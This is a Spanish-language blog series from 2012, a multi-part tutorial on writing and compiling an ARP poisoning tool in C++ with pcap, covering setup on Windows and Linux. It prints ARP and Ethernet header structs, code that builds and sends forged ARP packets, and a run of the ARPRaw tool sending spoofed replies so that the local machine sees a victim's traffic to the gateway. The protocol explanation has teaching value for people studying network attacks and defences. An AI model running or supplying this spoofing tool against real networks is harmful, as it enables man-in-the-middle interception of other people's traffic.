Thursday, July 19, 2012

ARP Poison 5 - Windows && Linux (Windows)

Hola, ahora verás la instalación en entornos windows. Comencemos con la instalación de Winpcap.

1.- Ingresa a esta página y descarga el setup que instalará las DLL y driver de winpcap www.winpcap.org.

Actualmente (19-06-2012) está en la página de inicio como se ve en la siguiente imagen:
Ok, esperarás que termine la instalación y luego irás con el segundo paso.

2.- El segundo paso será la descarga de los fuentes de la librería de pcap más la librería (packet.lib), necesarios para compilar programas que usen la api pcap.

Ingresa al menu Winpcap de la página principal y selecciona Development, como se muestra en la imagen.

y luego descarga el archivo:

Ok, esto descargará el comprimido y guárdalo en un directorio, en mi caso lo guardaré en el disco E:\arpraw_base(Es recomendable que sigas los mismos pasos para que no hayan errores después. En el caso de la letra del disco es a tu elección), descomprimelo (Descomprimir aquí) y déjalo ahí.
E:\arpraw_base\WpdPack

3.- Ahora baja algún cliente de svn, puedes descargarte el tortoise es un cliente svn bien amigable para windows. http://tortoisesvn.net/downloads.html Ahí tienes una versión de 32 y 64 bits, si quieres puedes bajarte otro cliente.

4.- Ya instalado ahora has un checkout con el tortoise a la url http://arpraw.googlecode.com/svn/trunk/ como se muestra a continuación, has click derecho del mouse en el directorio donde descargaste el comprimido del winpcap (paso 2, E:\arpraw_base\)

Luego ingrese los datos en la ventana emergente


Actualmente debería estar así tu instalación:

5.- Ahora la descarga del framework, es igual al paso anterior pero la url cambia: https://riouxsvn.com/svn/crossover/rc/crossover-0. Los directorios deberían verse dela siguiente manera:

Actualmente quedaría así.

6.- Ahora viene la mejor parte, esto es para Visual Studio 2005, aunque no deberían existir problemas en otros IDEs de Visual como 2008 o 2010. Abre la solución del proyecto en E:\arpraw_base\arpraw\arpraw.sln

y si todo sale bien, al presionar F5 deberías ver una pantalla negra que se abre y se cierra, y estaría compilado el proyecto, ahora debes ejecutar este ejecutable desde una terminal.

Las configuraciones que tuve que realizar en la solución las muestro en la siguientes imágenes (Los cambios se destacan en negritas en las imagenes), para acceder a estas imagenes, debes acceder a las propiedades del proyecto.

Fijarse en Directorio de inclusión adicionales:
En esta sección se agrego WIN32_2005
Tambien se agregaron modificaciones en Vinculador y Vinculador/Entrada en la misma parte de configuración. Hasta la próxima, si encuentras algún error por favor me comentas, saludos.

Sunday, June 3, 2012

ARP Poison 5 - Windows && Linux (Linux)

    Hola, en esta entrega verás la versión del FRAMEWORK de C++ funcional para Windows y Linux, en windows es algo más lioso de instalar pero vale la pena aprender a compilarlo en este entorno.
Prerequisitos:
  • Haber leído los artículos ARP Poison 1 - 4.
  • Conocimientos básicos del modelo OSI y TCP.
  • Conocimientos básicos en C++ para compilar (Intermedio/Avanzado si quisieras modificar el código).

LINUX

    Como recordatorio, debes tener instalado los paquetes de pcap, libpcap y libpcap-devel además el svn, estos vienen en los repositorios de la distribución de linux que utilices.

1.- Descargando Framework Crossover desde el servidor SvN:
    Si ya tienes descargado, el svn, comencemos a descargar el Framework, para tener una estructura acorde al desarrollo se creara una carpeta crossover con el siguiente comando.
svn co https://riouxsvn.com/svn/crossover/rc/crossover-0 crossover


2.- Descarga la versión 0 del aplicativo ARPRaw:
svn checkout http://arpraw.googlecode.com/svn/trunk/ arpraw

    En este momento las carpetas deberían estar de la siguiente forma:
raiz
|___ arpraw
|___ crossover

3.- Compilando:
     para compilar, debes ingresar a la carpeta:
$ cd arpraw/arpraw

Y luego ejecutar make
arpraw/arpraw$ make 
Con esto se creará el archivo main.o, este es el ejecutable final, ahora debes ejecutarlo con
arpraw/arpraw$ ./main.o
Al ejecutar el comando te saldrán las opciones de uso de la aplicación:
arpraw/arpraw$ ./main.o
ARPRaw 0.1 (ahkbar.blogspot.com)
#././main.o -i  [options] -dip  [-sip ]

 -D   List device
 -dip   Dest IP
 -sip   Source IP

Options: 
 -op    Operation Code, 1 for Response, 2 For Reply, default is Reply
Para realizar un envenenamiento de un solo camino, se ejecutará el programa de la siguiente manera:
NOTA:Debes ser usuario root para ejecutar el aplicativo si no te mostrará un mensaje de error. #./main.o -i eth0 -dip 192.168.2.1
[root@localhost arpraw]# ./main.o -i eth0 -sip 192.168.2.1 -dip 192.168.2.3 

Delay 500 Miliseconds

Reply Src 192.168.2.1 -> Dst 192.168.2.3
Reply Src 192.168.2.1 -> Dst 192.168.2.3
Reply Src 192.168.2.1 -> Dst 192.168.2.3
Reply Src 192.168.2.1 -> Dst 192.168.2.3

Ahora el aplicativo está enviando paquetes arp spofeados a la ip 192.168.2.3, y le esta diciendo que la mac de 192.168.2.1 es la mac del equipo local, entonces todos los paquetes que viajen desde 192.168.2.3 a 192.168.2.1 serán visto por el equipo local. Queda pendiente la instalación en Windows, será para la próxima para no retrasar este POST,

Sunday, May 6, 2012

5ta Entrega

Hola, la 5ta entrega se ha retrasado por que he estado modificando por completo el Framework, dejándolo más ordenado pero luego quedará arriba y podrás compilarlo y ejecutarlo.

Thursday, March 8, 2012

ARP Poison 4

Ok, continuemos con la 4ta parte de ARP poison, en esta ocasión verás como comprobar la funcionalidad de ARP 4:

El código principal es el siguiente, he encapsulado todo el código para dejarlo más legible y fácil de entender, porque de otra forma sería mas difícil de comprender cuando crezca la aplicación.

Bueno vamos, el código principal se ha reducido a unas pocas lineas, no te preocupes subiré la última versión del código en cuanto lo termine.


#include "Crossover/Crossover.h"

using namespace Crossover::Framework::Net::Protocols;
using namespace Crossover::Framework::Net;
using namespace std;

int main(){

    try 
    {   
        ARPDAO oARPDAO( "eth0");
        oARPDAO.syncRequest("192.168.2.254");
    }   
    catch(Exception ex) 
    {   
        cout << ex.message() << " OS: " << ex.systemMessage() << endl;
    }   
    return 0;
}

    Como puedes ver el código ha sido encapsulado en la clase ARPDAO, que se encargará de realizar todo el tratamiento con las estructuras ARP, el nombre es por lo siguiente ARP por el protocolo Address Resolution Protocol o en español Protocolo de Resolución de Direcciones que ya sabes cual es su función y DAO por las siglas de Data Access Object o en español Objeto de acceso a datos, estos objetos se encargan de trabajar en las capas de persistencia de datos y/o relacionadas con la recepción o envío de paquetes por la red, se encargan del trabajo sucio para que a nosotros nos sea más fácil de utilizar.

El código del proyecto Crossover descargarlo desde aquí, es necesario que utilices svn, utiliza alguna de los gestores de descarga dependiendo de tu distribución, si usas windows aunque por el momento no esta creado para windows, puedes utilizar un cliente svn como tortoise:

svn checkout http://crossover.googlecode.com/svn/trunk/ Crossover -read-only

El fuente y makefile desde acá.

http://code.google.com/p/crossover/downloads/detail?name=ARPRequest.tar&can=2&q=

Como quedaría: ARPRequest
|__________ makefile
|__________ main.cpp
|d_________ Crossover

Ahora usarás un sniffer para comprobar los paquetes que salen desde el ejecutable, se usará en este ejemplo el tshark (Versión de consola) , si tienes una distro de linux no creo que te sea complicado obtenerlo, tienes a yum y apt-get, pacman, apttitude entre otras.

Una vez descargado por consola escribe por consola, tshark, esto capturará todos los paquetes que circulan por la red a tu ordenador y los salientes:

Bah! pero que rollo, esto no se entiende para nada!, espera!, ya ok, veamos este comando(tshark) podría generar filtros en los paquetes y solo capturar aquellos que nosotros digamos, pone en la terminal lo siguiente para capturar paquetes a nivel del kernel:

$> tshark -f "arp"
Ahora verás solo los paquetes ARP que viajan por la red.

Fijate en el en penúltimo y último paquete, el penúltimo es un ARP Request, este paquete pregunta por la MAC de la ip 192.168.2.2 (Who has, Quien tiene), si vez hasta viene con signo de pregunta, el origen del paquete es la ip 192.168.2.254, esta máquina es la que pregunta, en este caso es el router.

Luego en el último paquete responde la máquina objetivo que es la
192.168.2.2 y le dice cual es su mac, en esta caso es la 00:21:00:a3:f7:c8.

Ahora ha enviar el paquete desde la aplicación, bajate el Framework con el SVN, y el ARPRequest.main desde el enlace que se encuentra arriba, ahora por consola:

$> make

Con esto comienza el proceso de compilación, luego ingresa como root, o si no no se podrá envíar el paquete por la red, debido a permisos de kernel, pcap no está permitida para ejecutarse a nivel usuario normal.

#> ./main.o

Luego de enviar este paquete deberías visualizar lo siguiente por tshark:

Wednesday, January 4, 2012

ARP Poison 3 Código...

           Ahora verás como está construido el código, los puntos tratados en este simple código son:

  1. Crear La cabecera Ethernet. 
  2. Crear La cabecera ARP. 
  3. Transpasar ambos a una sola cadena. 
  4. Enviar los datos por la red.

          Según como viste las definiciones en los puntos ARP Poison 1 y 2, ahora serán utilizadas dichas estructuras para asignarles los campos que queramos para que sean enviados por la red, primero echale un vistazo al código y luego iré comentando linea a linea.

#include "Crossover/Crossover.h"

using namespace Crossover::Framework::Net::Protocols;
using namespace Crossover::Framework::Net;
using namespace std;


#define HL 6 // Hardware len
#define PL 4 // Protocol len


int main(){

 try
 {
  //Creando Cabecera ETHERNET
  struct Ethernet tEthernet;
  memset(&tEthernet,0,sizeof(tEthernet));
  memcpy(tEthernet.dst, "\xFF\xFF\xFF\xFF\xFF\xFF", HL);
  memcpy(tEthernet.src, "\xAA\xAA\xAA\xAA\xAA\xAA", HL);
  tEthernet.type = htons( ETHERNET_TYPE_ARP);

  //Creando Cabecera de ARP
  struct ARP tARPheader;
  memset(&tARPheader, 0, sizeof(tARPheader));

  //ETHERNET_TYPE_ETHER -> Ethernet.h
  tARPheader.hrd = htons( ETHERNET_TYPE_ETHER); 

  //ETHERNET_TYPE_IP -> Ethernet.h
  tARPheader.pro = htons( ETHERNET_TYPE_IP);   
  tARPheader.hln = HL;
  tARPheader.pln = PL;
  tARPheader.op = htons( ARP_OP_REQUEST);

  //Asignando la ip de origen
  unsigned char szDestSourceIP[4];
  char szSourceIP[80]; 
  strcpy( szSourceIP, "2.2.2.2");
  Converter::hip2mip( szSourceIP , szDestSourceIP);

  memcpy(tARPheader.sha, "\xAA\xAA\xAA\xAA\xAA\xAA", HL);
  memcpy(tARPheader.spa, szDestSourceIP, PL);

  //Asignando la ip de destino
  unsigned char szDestTargetIP[4];
  char szTargetIP[80]; 
  strcpy( szTargetIP, "1.1.1.1");
  Converter::hip2mip( szTargetIP, szDestTargetIP);

  memcpy(tARPheader.tha, "\x00\x00\x00\x00\x00\x00", HL);
  memcpy(tARPheader.tpa, szDestTargetIP, PL);


  Wrapcap oWrapcap;
  oWrapcap.open();


  char *szBuff = (char *) malloc(1024);
  memcpy(szBuff, (char*) &tEthernet, sizeof(tEthernet));
  memcpy(&szBuff [ sizeof(tEthernet)], (char*) &tARPheader
    , sizeof(tARPheader));

  oWrapcap.send((u_char*) szBuff, sizeof(tEthernet) + sizeof(tARPheader));
 

//  while(1){
//   oWrapcap.send((u_char*) szBuff, sizeof(tEthernet) + sizeof(tARPheader));
//   Sleep(1000);
//  }

 }
 catch(Exception ex)
 {
  cout << ex.message() << " OS: " << ex.systemMessage() << endl;
 }
 return 0;

}

#include "Crossover/Crossover.h"

         Esta es la referencia a todas las cabeceras necesarias para crear el código, que apuntan incluso al framework, que es un conjunto de clases, creadas para hacer más optimo y mantenible el código NOTA: Si estas muy perdido, puedes descargarte los papers de iniciación a la programación en C++, creados para los foros de UNDERC0DE y continuados por el equipo de desarrollo Exseption.

using namespace Crossover::Framework::Net::Protocols; 
using namespace Crossover::Framework::Net; 
using namespace std;

         Estos son los nombres de espacios, te fijastes que las estructuras Ethernet y ARP están contenidas en el espacio de nombre Crossover::Framework::Net::Protocols, en el espacio de nombre namespace Crossover::Framework::Net, está contenida la clase Wrapcap, que es la encargada de enviar el paquete, ya te comentaré de esta, el nombre de espacio std ya sabes para que es, ¿no sabes?, puedes apoyarte de los papers o puedes investigar más con tu buscador preferido. La siguiente imagen es la estructura de directorios donde están organizadas las clases.



#define HL 6 // Hardware len
#define PL 4 // Protocol len

 Estas lineas (macros) definen los largos para el campo de mac (Hardware Len) y el campo de ipv4 (Protocol Len)

//Creando Cabecera ETHERNET struct Ethernet tEthernet; memset(&tEthernet,0,sizeof(tEthernet)); memcpy(tEthernet.dst, "\xFF\xFF\xFF\xFF\xFF\xFF", HL); memcpy(tEthernet.src, "\xAA\xAA\xAA\xAA\xAA\xAA", HL); tEthernet.type = htons( ETHERNET_TYPE_ARP);  

En las siguientes lineas se define la cabecera Ethernet, la estructura Ethernet está definida  en el archivo de cabecera "Ethernet.h", ubicado en el directorio Crossover/Framework/Net/Protocols , el nombre de espacio en el cual se encuentra es la misma ruta de directorios donde se aloja.

 En la linea "memset(&tEthernet,0,sizeof(tEthernet));" se vacía la estructura a valores cero,  ya que por defecto en C/C++ los valores asignados son valores basura, aunque no debería afectar su  resultado si es que se asignaran todos los campos de la estructura. (Si no conoces el prototipo de memset  o sizeof, es hora de que te pongas a investigar gooleando o por otro que conozcas.

  Luego en "memcpy(tEthernet.dst, "\xFF\xFF\xFF\xFF\xFF\xFF", HL);" se asigna la mac de destino, es preciso que te familiarices con esta notación, te servirá para interpretar los paquetes tanto con un sniffer como en la misma depuración.

hasta el momento llevamos la mac de destino el paquete quedaría de esta manera
FF FF FF FF FF FF 00 00 00 00 00 00 00 00   

la cabecera ethernet solo esta compuesta de 14 bytes, los 6 primeros bytes representan la mac de destino 

La siguiente linea "memcpy(tEthernet.src, "\xAA\xAA\xAA\xAA\xAA\xAA", HL);" asignará los 6 próximos  bytes quedando asi:
FF FF FF FF FF FF AA AA AA AA AA AA 00 00  


tEthernet.type = htons( ETHERNET_TYPE_ARP); esta linea asignará el código del siguiente protocolo, para que el núcleo al desempaquetar sepa como obtener los campos del protocolo superior ARP, o si no podría confundirse. htons( ) es una función definida en el archivo <netinet/in.h> para usuarios  linux, y en <Winsock2.h> para usuarios windows, el objetivo de esta función es dejar los bytes en el orden  de la red, solo invierte los bytes 13 y 14 cambiándolos de orden, si no se hiciese esto, los bytes irían en un orden que no entendería luego el OS.


la constante ETHERNET_TYPE_ARP está definida en el archivo header "Ethernet.h" y su valor es el siguiente: #define ETHERNET_TYPE_ARP 0x0806
FF FF FF FF FF FF AA AA AA AA AA AA 08 06  

Si no se utilizara htons (host to network short) los bytes irían como:  
FF FF FF FF FF FF AA AA AA AA AA AA 06 08 (malo)  


//Creando Cabecera de ARP

struct ARP tARPheader; 
memset(&tARPheader, 0, sizeof(tARPheader)); //Ethernet.h 
tARPheader.hrd = htons( ETHERNET_TYPE_ETHER); //Ethernet.h 
tARPheader.pro = htons( ETHERNET_TYPE_IP); 
tARPheader.hln = HL; 
tARPheader.pln = PL; 
tARPheader.op = htons( ARP_OP_REQUEST); 


//Asignando la ip de origen 
unsigned char szDestSourceIP[4];
char szSourceIP[80];
strcpy( szSourceIP, "2.2.2.2"); 
Converter::hip2mip( szSourceIP , szDestSourceIP); 


memcpy(tARPheader.sha, "\xAA\xAA\xAA\xAA\xAA\xAA", HL); 
memcpy(tARPheader.spa, szDestSourceIP, PL); 


//Asignando la ip de destino 
unsigned char szDestTargetIP[4]; 
char szTargetIP[80]; 
strcpy( szTargetIP, "1.1.1.1"); 
Converter::hip2mip( szTargetIP, szDestTargetIP); 


memcpy(tARPheader.tha, "\x00\x00\x00\x00\x00\x00", HL);
memcpy(tARPheader.tpa, szDestTargetIP, PL);


Luego comienza la creación de la cabecera ARP, que es la parte fundamental de la célula, la  cabecera ARP esta definida en el archivo ARP.h.


memset(&tARPheader, 0, sizeof(tARPheader)); en esta línea se hace lo mismo que el anterior.   El paquete estaría quedando como sigue:

FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 00 00 00 00 00 00 00 
00  00 00  00 00  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


tARPheader.hrd = htons( ETHERNET_TYPE_ETHER); idem
El paquete por ahora estaría definido de la siguietne manera
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  


tARPheader.pro = htons( ETHERNET_TYPE_IP); 
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  


tARPheader.hln = HL; header len. tARPheader.pln = PL; protocol len   
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  


tARPheader.op = htons( ARP_OP_REQUEST); esta indica que será una solicitud.
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  

 //Asignando la ip de origen unsigned char szDestSourceIP[4]; En esta linea se asignará la ip destino, solo se requieren 4 bytes para asignar la ipv4.


char szSourceIP[80]; Aquí es donde se almacenará la ip en formato decimal.


strcpy( szSourceIP, "2.2.2.2"); Se asigna "2.2.2.2" a szSourceIP


Converter::hip2mip( szSourceIP , szDestSourceIP); Esta función definida en el archivo de cabecera "Converter.h" (ver imagen de arbol de direcctorios), traspasa la ip en formato legible (Numeración decimal) al formato maquina, asignando la ip "2.2.2.2" solo en 4 bytes.  


memcpy(tARPheader.sha, "\xAA\xAA\xAA\xAA\xAA\xAA", HL); Mac de origen, directamente a 6 bytes gracias a las secuencias de escape \x.


memcpy(tARPheader.spa, szDestSourceIP, PL); ip de origen  
FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01 
AA AA AA AA AA AA 02 02 02 02 00 00 00 00 00 00 00 00 00 00  


//Asignando la ip de destino 
unsigned char szDestTargetIP[4]; 
char szTargetIP[80]; 
strcpy( szTargetIP, "1.1.1.1");
Converter::hip2mip( szTargetIP, szDestTargetIP);
memcpy(tARPheader.tha, "\x00\x00\x00\x00\x00\x00", HL); 
 memcpy(tARPheader.tpa, szDestTargetIP, PL);  


FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01 
AA AA AA AA AA AA 02 02 02 02 00 00 00 00 00 00 01 01 01 01  


Con esto ya se ha completado el paquete, ahora queda enviarlo por la red, sigamoscon el código. La siguiente linea "Wrapcap oWrapcap;" es la clase que envuelve la funcionalidad de la API pcap, pcap es un conjunto de funciones o interfaces que facilitan la manipulación de paquetes que viajan por la red, esta API es usada para captura de paquetes tanto como envío de paquetes, la ventaja de esta API es que es multiplataforma, se ha envuelto esta API para facilitar su lectura y simplificar el código en partes, además de separar la complejidad de tratamiento de esta en simples llamadas a métodos.

La linea "oWrapcap.open();" se encarga de obtener un dispositivo por defecto para poder luego enviar o capturar paquetes por la red, en este caso se enviará un paquete de solicitud por la red como forma de prueba. 

Las siguientes 3 lineas traspasarán las estructuras Ethernet y ARP a una secuencia de bytes del tipo char. Se realiza una reserva de espacio de 1024 bytes. char *szBuff = (char *) malloc(1024);

Luego a szBuff se le asigna todos los campos de la estructura tEthernet
memcpy(szBuff, (char*) &tEthernet, sizeof(tEthernet));

En este momento la cadena szBuff tendría los siguientes bytes:
FF FF FF FF FF FF AA AA AA AA AA AA 08 06

Después en la cadena szBuff se avanzan los bytes necesarios para llegar al último y uno más después de la cabecera tEthernet si no se avanza se remplazarían bytes de la cabecera tEthernet, de esta forma szBuff[total de bytes de cabecera ethernet] avanzamos justo una posicion mas del termino de la cabecera y luego se le pasa la dirección de memoria con el operador &, para que desde este punto se asigne la cabecera ARP.
memcpy(&szBuff [ sizeof(tEthernet)], (char*) &tARPheader , sizeof(tARPheader));

Ahora la cadena szBuff contiene:

FF FF FF FF FF FF AA AA AA AA AA AA 08 06 00 01 08 00 06 04 00 01 
AA AA AA AA AA AA 02 02 02 02 00 00 00 00 00 00 01 01 01 01


Finalmente se envía el paquete por la red con el método send de la clase Wrapcap, que como primer parámetro recibe un tipo u_char* (unsigned char *, declarado en pcap/pcap.h), y luego el total de bytes a transmitir que sería la suma de bytes de ambas cabeceras, en total se enviarían 14 bytes de cabecera ethernet y 28 para ARP, puedes luego optimizar el código para que la cadena szBuff no requiera tanto peso como 1024 bytes que no fue necesario utilizar.
oWrapcap.send((u_char*) szBuff, sizeof(tEthernet) + sizeof(tARPheader));

Puntos finales sobre el termino de esta entrada, luego publicaré el código completo para que puedas desentrañar su funcionamiento y entenderlo, también explicaré como probar su funcionamiento con un sniffer tshark en este caso, si te atrapa la ansiedad puedes probar el código inmediatamente con cualquier sniffer si es que te manejas con otro.

Un punto que se me escapaba, la parte del try catch es una estructura de control de errores, si dentro del bloque try se produjera cualquier error, este saltaría al bloque catch, que dentro de los operadores ( ) esta la declaración de Exception exception es una clase que contiene el detalle del error tanto de alguna clase como del mismo detalle del error del sistema operativo, también podrás ver su código y entenderlo.    


Si un punto les parece difícil me comentan o me envían un mail, para explicarlo a mejor entender.


Aquí el link de descarga del codigo:


http://arp-poison.googlecode.com/files/Wrapcap_v1.tar


Por ahora esta solo funcionando para linux, aunque puede que funcione en windows, para compilarlo en linux solo tienen que poner make en la consola, es necesario instalar la libreria pcap, por lo tanto deberás instalar esta antes de compilar con el comando make.



Monday, January 2, 2012

ARP Poison 2

Continuemos te mostraré el código de como esta programado todo, y enviaremos el primer paquete de solicitud de ARP y veremos como el router responde.

Se me ha ido un punto, no he mostrado la cabecera Ethernet, comencemos con un resumen de esta y luego su código, la cabecera Ethernet es la primera en ser empaquetada después viene la cabecera ARP que ya fue explicada, la cabecera Ethernet esta compuesta por 3 campo:


- Dirección mac destino: (6 bytes)
- Dirección mac origen: (6 bytes)
- Y el tipo de protocolo de capa superior: (2 bytes)


Los primeros 6 bytes, representan la dirección mac de destino, los siguientes 6 bytes la dirección de origen y luego viene el tipo de protocolo de capa superior que en este caso deberás indicarle el tipo asignado para ARP.

El Frame Type Tendrá un valor de 0×0806 para especificar el protocolo ARP, es necesario asignar este campo, para que el nucleo entienda y sepa como desempaquetar el paquete que viene a continuación, este campo podría ser uno distinto si es que quisieras especificar el siguiente protocolo como IP.

Ahora el código en C/C++ para especificar la cabecera Ethernet:

#ifndef __Ethernet__20111128 



#include <pcap/pcap.h>


namespace Crossover{

namespace Framework{

namespace Net{

namespace Protocols{



#define ETHERNET_TYPE_ARP 0x0806

#define ETHERNET_TYPE_IP 0x0800

#define ETHERNET_TYPE_ETHER     0x0001

 

 struct Ethernet{

  u_char dst[6]; // 48.bit: Ethernet address of destination

  u_char src[6]; // 48.bit: Ethernet address of sender

  u_short type;  // 16.bit: Protocol type = ether_type$ADDRESS_RESOLUTION

 };

}}}}



#endif 

Sunday, January 1, 2012

ARP Poison

Hola, ahora compartiré con ustedes el código de ARP Poison, este POST será replicado para las Células de equipo Exseption, equipo de desarrollo de aplicaciones.

ARP es un protocolo que es utilizado para conocer la MAC de un equipo cualquiera a partir de su dirección lógica (IP), necesaria para establecer la comunicación entre 2 equipos, es recomendable que investigues o profundices por tu cuenta después de terminar este texto.

Puedes escribir el siguiente comando desde tu consola para ver la tabla ARP que controla tu Sistema Operativo, esto sirve para linux y windows

> arp -a

ARP esta ubicado en la CAPA de enlace de datos, es la siguiente capa después de la capa física del modelo OSI.
Este protocolo esta compuesto por varios campos, que serán empaquetados luego en el código,... Si enviarás paquetes ARP por la red manualmente, desde tu propio código, osea yo lo hice, pero lo copias y dices que es tuyo si quieres.

Ya ahora te pongo una imagen, para que veas los campos que se manejan.

El primer campo Hardware type, especifica el tipo de Red a utilizar, el valor que utilizarás aquí es el valor 0x0001 en hexadecimal, que esta compuesto por 2 bytes, aquí una lista de sus posibles valores, aunque aquí se utilizará solo este, ni siquiera se para que sirven los demás, pero si tienes curiosidad aquí una lista:


Si ves bien la cabecera del 0 - 8 quiere decir 1 bytes.

El siguiente campo es el Protocol Type, es el protocolo de capa 3 que se utilizará, como todos ya han oído hablar de el en todos lados, es el protocolo IP, su valor en este paquete ARP es el 0x0800 en hexadecimal.

El campo que viene a continuación es el campo Hardware Address Len, que significa el tamaño en bytes de la dirección física o mac.

El siguiente campo Protocol Address Len es el tamaño en bytes de la dirección lógica IP, que en un tipo de IP versión 4 es 4 bytes.

El que sigue es el Opcode, es el tipo de paquete ARP que enviemos al destino, si va a ser un paquete de solicitud, o de respuesta, para realizar un envenenamiento arp se envian solo paquetes de respuestas modificados, para que alteren la tabla arp del sistema destino, alguno de los otros valores a continuación en esta tabla:

Este campo en la cabecera esta en el bit 17 hasta el bit 32, que en total son 16 bits, 2 bytes, en hexadecimal estaría representado por 0x0001 para ARP request y 0x0002 para ARP reply.

Luego viene el campo Sender Hardware Address, dirección de hardware que envía el paquete, está es la dirección mac de tu equipo o podría ser una dirección mac distinta, ya verás cuando envíes el paquete modificado, para que el sistema operativo victima se confunda, y comienze enviar paquetes a otro destino.

Siguiente campo es la direccion ip de origen, Sender Protocol Address este esta compuesto por 4 bytes, que son los necesarios para una direccion IP.

Luego la dirección mac destino (Target Hardware Address), en este campo se rellena con ceros cuando es una solicitud(ARP Request) o con los valores dela mac destino real cuando es una respues (ARP Response).

Y el paquete terminaría con el campo Target Protocol Address, que sería la direccion IP destino.

Esto es todo para el paquete ARP, un pequeño código de cabecera que contiene el paquete ARP en un struct de C/C++.


/* http://www.faqs.org/rfcs/rfc826.html

*/



#ifndef __ARP__20111128



#include <pcap/pcap.h>


//Opcodes

#define ARP_OP_REPLY 0x0002

#define ARP_OP_REQUEST 0x0001





namespace Crossover{

namespace Framework{

namespace Net{

namespace Protocols{





 struct ARP{

  u_short hrd; // Hardware address space (e.g., Ethernet, Packet Radio Net.)

  u_short pro; // Protocol address space.  For Ethernet hardware, this is from the set of type fields ether_typ$.

  u_char hln; // byte length of each hardware address

  u_char pln; // byte length of each protocol address

  u_short op;  // opcode (ares_op$REQUEST | ares_op$REPLY)

  u_char sha[6]; // Hardware address of sender of this packet, n from the ar$hln field.

  u_char spa[4]; // Protocol address of sender of this packet, m from the ar$pln field.

  u_char tha[6]; // Hardware address of target of this packet (if known).

  u_char tpa[4]; // Protocol address of target.

 };



}}}};



#endif